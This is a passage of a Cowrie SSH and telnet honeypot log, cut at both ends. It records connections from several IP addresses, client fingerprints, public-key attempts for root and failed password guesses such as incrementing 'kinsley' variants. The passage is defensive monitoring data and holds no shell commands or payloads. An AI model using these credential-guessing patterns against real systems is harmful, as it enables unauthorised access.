14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.752138Z","src_ip":"185.255.100.242","session":"e5771fe509b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:63:18:99:e0:be:68:e2:23:20:24:56:38:e9:c9:4f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHHou4ROUZZ1xVvOPZTP/HfFJ5imqCPxc/SXFSzk5bo2","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 58:63:18:99:e0:be:68:e2:23:20:24:56:38:e9:c9:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.771659Z","src_ip":"185.255.100.242","session":"e5771fe509b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:63:18:99:e0:be:68:e2:23:20:24:56:38:e9:c9:4f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHHou4ROUZZ1xVvOPZTP/HfFJ5imqCPxc/SXFSzk5bo2","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.775498Z","src_ip":"185.255.100.242","session":"e5771fe509b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:c6:2b:2a:3b:25:1b:ab:97:a0:bb:84:bf:a1:9b:21","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPb5VW4qQadl1ygPBobrrabipz8U5kotkB31JzQl8uvcCMW/5pII5ftiHIwfMJJhjaZdtMyqULEjWRRMC7XInlyLiFPOEbD5yehh/fc13/hgMJnXrEWIAS78EsgN68NlbFYqwMYH0lH54gWDYtVUluOKwXJr1U6e7nxQCnKappbvAAAAFQCSxa/KLBX5lXDS9oZZzJOS1ajtcQAAAIA16DfIAAn+/u16Gswu8y59oZ3x6RHsxnPkzHrqN4zPWldUVq/nUL+2oBB9lrszFllbG+yoJLp3dEWG+3/cT2zNOjF48rOjf5guhytpU+r9I3pGPsBdJDtqgzNzYfdb255nCQOaRUGeMn/1jCLsqbbYhBxzAKVXdccks29SjzctpQAAAIEAnSZdaqmAno3ymu1HjqMIhZD90fuydNIwH0oy93vwqbkezIj8ypuiovOsirMd6a8CTKJWi2ijAy0znGTIMelOcPOGe0ujSfw8qXsWRHNssQ6+4wstotQLUhxTAZYToL7DWN0tmdY0Jw1A6HLZro6DxCBa0vsrhO/Uf8Wc0meDexw=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint c5:c6:2b:2a:3b:25:1b:ab:97:a0:bb:84:bf:a1:9b:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.792870Z","src_ip":"185.255.100.242","session":"e5771fe509b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:c6:2b:2a:3b:25:1b:ab:97:a0:bb:84:bf:a1:9b:21","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPb5VW4qQadl1ygPBobrrabipz8U5kotkB31JzQl8uvcCMW/5pII5ftiHIwfMJJhjaZdtMyqULEjWRRMC7XInlyLiFPOEbD5yehh/fc13/hgMJnXrEWIAS78EsgN68NlbFYqwMYH0lH54gWDYtVUluOKwXJr1U6e7nxQCnKappbvAAAAFQCSxa/KLBX5lXDS9oZZzJOS1ajtcQAAAIA16DfIAAn+/u16Gswu8y59oZ3x6RHsxnPkzHrqN4zPWldUVq/nUL+2oBB9lrszFllbG+yoJLp3dEWG+3/cT2zNOjF48rOjf5guhytpU+r9I3pGPsBdJDtqgzNzYfdb255nCQOaRUGeMn/1jCLsqbbYhBxzAKVXdccks29SjzctpQAAAIEAnSZdaqmAno3ymu1HjqMIhZD90fuydNIwH0oy93vwqbkezIj8ypuiovOsirMd6a8CTKJWi2ijAy0znGTIMelOcPOGe0ujSfw8qXsWRHNssQ6+4wstotQLUhxTAZYToL7DWN0tmdY0Jw1A6HLZro6DxCBa0vsrhO/Uf8Wc0meDexw=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.800287Z","src_ip":"185.255.100.242","session":"e5771fe509b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:53:e3:cf:8b:e9:0b:ce:fe:bd:af:7a:f5:ea:60:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxIa+tAbfMPjC6KWHTcl6nf1mI2avs50tZoUTWxAaiM/6e2im+eiG5ll6hgaQ3FIwFcj9FB5/BPmIPeM9ZPreBuGSVp1aPIZ1TunvKwRpjMMYAlegmRl2cYl6o+W8X2dHmOuG9PWs26+ZBTakZsp5L4Bj/kep5/wYX9r4Ccqc64y04SE8bmh7/1Eburc77GtVULJbfLLQRr8a/1uIkDqw6hCNgjQHaK1kZMTHVHH2dGQSA1R1WaHDkbEQjmCdqJSkd71n75Vtp47krNVcq2VWFIGMUaU8SmKqf6lJHsUZiY9gYxQJVyczehqu931kXzn5GVJbjuMfroVj6cJiX48Dsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:53:e3:cf:8b:e9:0b:ce:fe:bd:af:7a:f5:ea:60:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.811345Z","src_ip":"185.255.100.242","session":"e5771fe509b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:53:e3:cf:8b:e9:0b:ce:fe:bd:af:7a:f5:ea:60:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxIa+tAbfMPjC6KWHTcl6nf1mI2avs50tZoUTWxAaiM/6e2im+eiG5ll6hgaQ3FIwFcj9FB5/BPmIPeM9ZPreBuGSVp1aPIZ1TunvKwRpjMMYAlegmRl2cYl6o+W8X2dHmOuG9PWs26+ZBTakZsp5L4Bj/kep5/wYX9r4Ccqc64y04SE8bmh7/1Eburc77GtVULJbfLLQRr8a/1uIkDqw6hCNgjQHaK1kZMTHVHH2dGQSA1R1WaHDkbEQjmCdqJSkd71n75Vtp47krNVcq2VWFIGMUaU8SmKqf6lJHsUZiY9gYxQJVyczehqu931kXzn5GVJbjuMfroVj6cJiX48Dsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.815340Z","src_ip":"185.255.100.242","session":"e5771fe509b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:40:65:d4:42:07:cc:87:cd:0c:e4:41:be:10:c0:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+MJe5kF5LAm0N1GFl+D7E4cZZAORAi5eK1BUTgVeW06hhAUFbmPiycsEmmkCEI/3pORINb2EVpt5nJ8l+edPNpimlFxrMbG+lk0q+jNB7mCpJX5FtCprLrBfWSZTspkGR299v5SF9H7nnrxJPV2QtYmIw/BaPFWs1nDR0uE6Fd0B+Z3lfNUZ/h9nzYBFpifReYKslFa6Sz40b877FVaGZHAex2tHU7mXLBsdpr2yFztK/tSZSbAhqfjsndifT2+ccrhs4LejCFm9CRNsyeuoWgaI0E67FspdiYtmAJZSP5SfbAuJSKESKXoriDBScONnqE2uTKSW7yuMcpQoHbAKP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:40:65:d4:42:07:cc:87:cd:0c:e4:41:be:10:c0:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.824320Z","src_ip":"185.255.100.242","session":"e5771fe509b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:40:65:d4:42:07:cc:87:cd:0c:e4:41:be:10:c0:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+MJe5kF5LAm0N1GFl+D7E4cZZAORAi5eK1BUTgVeW06hhAUFbmPiycsEmmkCEI/3pORINb2EVpt5nJ8l+edPNpimlFxrMbG+lk0q+jNB7mCpJX5FtCprLrBfWSZTspkGR299v5SF9H7nnrxJPV2QtYmIw/BaPFWs1nDR0uE6Fd0B+Z3lfNUZ/h9nzYBFpifReYKslFa6Sz40b877FVaGZHAex2tHU7mXLBsdpr2yFztK/tSZSbAhqfjsndifT2+ccrhs4LejCFm9CRNsyeuoWgaI0E67FspdiYtmAJZSP5SfbAuJSKESKXoriDBScONnqE2uTKSW7yuMcpQoHbAKP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.828397Z","src_ip":"185.255.100.242","session":"e5771fe509b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:e6:73:53:c0:55:55:88:d0:b6:82:0b:d8:30:24:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuI6P8t4Vr+XBc9xLdVRtWM0+RNgUA4ZuUe2H3nIB6sHetcCSATQraAvp8Rnawd6CIgwJXLPyV4cOENOgBp7nPTV0YgGHecY+cyfhRso5PUSbkOrxyf6pyTsgoaZRf5IEbV6H6+1/zl9VmyIs1oG+UuXwQAuR+YNfRL4veHBiLAu6/TXNrZ9m9XUBDcyj4HiumvmUkhyp9L8gTkZJGyKpVDMM5rlBdJ//MjHOfzfGB8vOKmKL5QnVIYcxYmtUYQ2slc97tSN06PChoWRibCiaKcNp8HpcN6kUz9jkT4dkXkBM60QaCDRctLSRmWW27M4yi+Ph/gAx8f8HwXKcc0Aykw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:e6:73:53:c0:55:55:88:d0:b6:82:0b:d8:30:24:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.836482Z","src_ip":"185.255.100.242","session":"e5771fe509b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:e6:73:53:c0:55:55:88:d0:b6:82:0b:d8:30:24:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuI6P8t4Vr+XBc9xLdVRtWM0+RNgUA4ZuUe2H3nIB6sHetcCSATQraAvp8Rnawd6CIgwJXLPyV4cOENOgBp7nPTV0YgGHecY+cyfhRso5PUSbkOrxyf6pyTsgoaZRf5IEbV6H6+1/zl9VmyIs1oG+UuXwQAuR+YNfRL4veHBiLAu6/TXNrZ9m9XUBDcyj4HiumvmUkhyp9L8gTkZJGyKpVDMM5rlBdJ//MjHOfzfGB8vOKmKL5QnVIYcxYmtUYQ2slc97tSN06PChoWRibCiaKcNp8HpcN6kUz9jkT4dkXkBM60QaCDRctLSRmWW27M4yi+Ph/gAx8f8HwXKcc0Aykw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.840636Z","src_ip":"185.255.100.242","session":"e5771fe509b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.852105Z","src_ip":"185.255.100.242","session":"e5771fe509b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38446,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbf5f522e626","protocol":"telnet","message":"New connection: 128.199.8.54:38446 (159.203.135.109:23) [session: dbf5f522e626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:02.667274Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.41.180.47","src_port":44108,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5f12bd24a2c","protocol":"telnet","message":"New connection: 154.41.180.47:44108 (159.203.135.109:23) [session: a5f12bd24a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:21.400055Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":49051,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a217ea38cc2","protocol":"telnet","message":"New connection: 212.55.149.117:49051 (10.17.0.5:23) [session: 4a217ea38cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:24.384661Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57598,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bc928033903","protocol":"telnet","message":"New connection: 128.199.8.54:57598 (159.203.135.109:23) [session: 6bc928033903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:27.156533Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59588,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fa2641aa92b","protocol":"telnet","message":"New connection: 128.199.8.54:59588 (159.203.135.109:23) [session: 2fa2641aa92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:28.167353Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36248,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ec900e11277","protocol":"telnet","message":"New connection: 128.199.8.54:36248 (159.203.135.109:23) [session: 5ec900e11277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:30.759550Z"}
{"eventid":"cowrie.session.closed","duration":12.698295593261719,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:34.098241Z","src_ip":"154.41.180.47","session":"a5f12bd24a2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":42254,"dst_ip":"159.203.135.109","dst_port":22,"session":"bce71803c667","protocol":"ssh","message":"New connection: 118.194.229.94:42254 (159.203.135.109:22) [session: bce71803c667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:37.723153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:37.728644Z","src_ip":"118.194.229.94","session":"bce71803c667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:37.897316Z","src_ip":"118.194.229.94","session":"bce71803c667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"password","message":"login attempt [ts3server/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:38.606019Z","src_ip":"118.194.229.94","session":"bce71803c667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.85501980781555,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:39.522195Z","src_ip":"128.199.8.54","session":"dbf5f522e626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:39.777486Z","src_ip":"118.194.229.94","session":"bce71803c667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56194,"dst_ip":"159.203.135.109","dst_port":23,"session":"aafc301112e7","protocol":"telnet","message":"New connection: 128.199.8.54:56194 (159.203.135.109:23) [session: aafc301112e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:40.732595Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":27951,"dst_ip":"10.17.0.5","dst_port":22,"session":"d989dd189e64","protocol":"ssh","message":"New connection: 213.209.159.56:27951 (10.17.0.5:22) [session: d989dd189e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:44.037281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:44.163421Z","src_ip":"213.209.159.56","session":"d989dd189e64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:44.241971Z","src_ip":"213.209.159.56","session":"d989dd189e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kinsley","password":"kinsley","message":"login attempt [kinsley/kinsley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:44.647811Z","src_ip":"213.209.159.56","session":"d989dd189e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kinsley","password":"kinsley1","message":"login attempt [kinsley/kinsley1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:45.733552Z","src_ip":"213.209.159.56","session":"d989dd189e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kinsley","password":"kinsley123","message":"login attempt [kinsley/kinsley123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:46.823065Z","src_ip":"213.209.159.56","session":"d989dd189e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kinsley","password":"kinsley1234","message":"login attempt [kinsley/kinsley1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:47.911181Z","src_ip":"213.209.159.56","session":"d989dd189e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kinsley","password":"kinsley12345","message":"login attempt [kinsley/kinsley12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:48.996780Z","src_ip":"213.209.159.56","session":"d989dd189e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:50.082853Z","src_ip":"213.209.159.56","session":"d989dd189e64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57109,"dst_ip":"10.17.0.5","dst_port":23,"session":"830f6b3fc136","protocol":"telnet","message":"New connection: 212.55.149.117:57109 (10.17.0.5:23) [session: 830f6b3fc136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:56.243552Z"}
{"eventid":"cowrie.session.closed","duration":33.48345375061035,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:09:00.639833Z","src_ip":"128.199.8.54","session":"6bc928033903","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39402,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2c634d6b606","protocol":"telnet","message":"New connection: 128.199.8.54:39402 (159.203.135.109:23) [session: b2c634d6b606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:09:02.299363Z"}
{"eventid":"cowrie.session.closed","duration":33.61894702911377,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:09:04.378352Z","src_ip":"128.199.8.54","session":"5ec900e11277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.30846333503723,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:09:04.475709Z","src_ip":"128.199.8.54","session":"2fa2641aa92b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":1535,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccb84b5fb743","protocol":"telnet","message":"New connection: 212.55.149.117:1535 (10.17.0.5:23) [session: ccb84b5fb743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:09:14.523960Z"}
{"eventid":"cowrie.session.closed","duration":34.50643038749695,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:09:15.238928Z","src_ip":"128.199.8.54","session":"aafc301112e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.91950464248657,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:09:25.304073Z","src_ip":"212.55.149.117","session":"4a217ea38cc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.7564902305603,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:09:37.055732Z","src_ip":"128.199.8.54","session":"b2c634d6b606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.183828353881836,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:09:55.427253Z","src_ip":"212.55.149.117","session":"830f6b3fc136","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42930,"dst_ip":"159.203.135.109","dst_port":23,"session":"70df4c92b740","protocol":"telnet","message":"New connection: 128.199.8.54:42930 (159.203.135.109:23) [session: 70df4c92b740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:15.874793Z"}
{"eventid":"cowrie.session.closed","duration":61.97800302505493,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:16.501843Z","src_ip":"212.55.149.117","session":"ccb84b5fb743","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":25360,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0500c82ce10","protocol":"ssh","message":"New connection: 193.24.211.100:25360 (159.203.135.109:22) [session: a0500c82ce10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:22.045008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:10:22.051078Z","src_ip":"193.24.211.100","session":"a0500c82ce10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha